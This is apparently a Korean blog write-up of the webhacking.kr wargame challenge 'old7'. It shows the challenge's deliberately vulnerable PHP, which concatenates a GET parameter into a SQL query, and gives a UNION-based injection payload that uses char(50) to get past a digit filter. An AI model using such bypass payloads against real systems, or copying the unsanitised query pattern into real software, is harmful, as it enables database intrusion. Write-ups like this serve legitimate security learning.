webhacking.kr - old7
2021. 3. 29. 12:24ㆍWarGame/webhaking.kr
처음에 해당 문제를 확인하면 위와 같이 val변수의 인자값에 따라서 달라지는 것 같습니다.
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 7</title>
</head>
<body>
<?php
$go=$_GET['val'];
if(!$go) { echo("<meta http-equiv=refresh content=0;url=index.php?val=1>"); }
echo("<html><head><title>admin page</title></head><body bgcolor='black'><font size=2 color=gray><b><h3>Admin page</h3></b><p>");
if(preg_match("/2|-|\+|from|_|=|\\s|\*|\//i",$go)) exit("Access Denied!");
$db = dbconnect();
$rand=rand(1,5);
if($rand==1){
$result=mysqli_query($db,"select lv from chall7 where lv=($go)") or die("nice try!");
}
if($rand==2){
$result=mysqli_query($db,"select lv from chall7 where lv=(($go))") or die("nice try!");
}
if($rand==3){
$result=mysqli_query($db,"select lv from chall7 where lv=((($go)))") or die("nice try!");
}
if($rand==4){
$result=mysqli_query($db,"select lv from chall7 where lv=(((($go))))") or die("nice try!");
}
if($rand==5){
$result=mysqli_query($db,"select lv from chall7 where lv=((((($go)))))") or die("nice try!");
}
$data=mysqli_fetch_array($result);
if(!$data[0]) { echo("query error"); exit(); }
if($data[0]==1){
echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=\"alert('Access_Denied!')\"><p>");
}
elseif($data[0]==2){
echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=\"alert('Hello admin')\"><p>");
solve(7);
}
?>
<a href=./?view_source=1>view-source</a>
</body>
</html>
코드를 확인하면 val을 2로 만들어줘야하는데, 2가 필터링 되고 있습니다.
아스키코드를 이용해서 우회하고
풀이를 진행했습니다.
> ?val=3)union(select(char(50))#
아래 쿼리문으로 시도했고,
rand중에 1일때에 들어가야하므로 새로고침 계속 하면 풀 수 있습니다.
'WarGame > webhaking.kr' 카테고리의 다른 글
webhacking.kr - old4 (0) | 2021.03.31 |
---|---|
webhacking.kr - old5 (0) | 2021.03.30 |
webhacking.kr - old21 (0) | 2021.03.25 |
webhacking.kr - old51 (0) | 2021.03.25 |
webhacking.kr - old56 (0) | 2021.03.24 |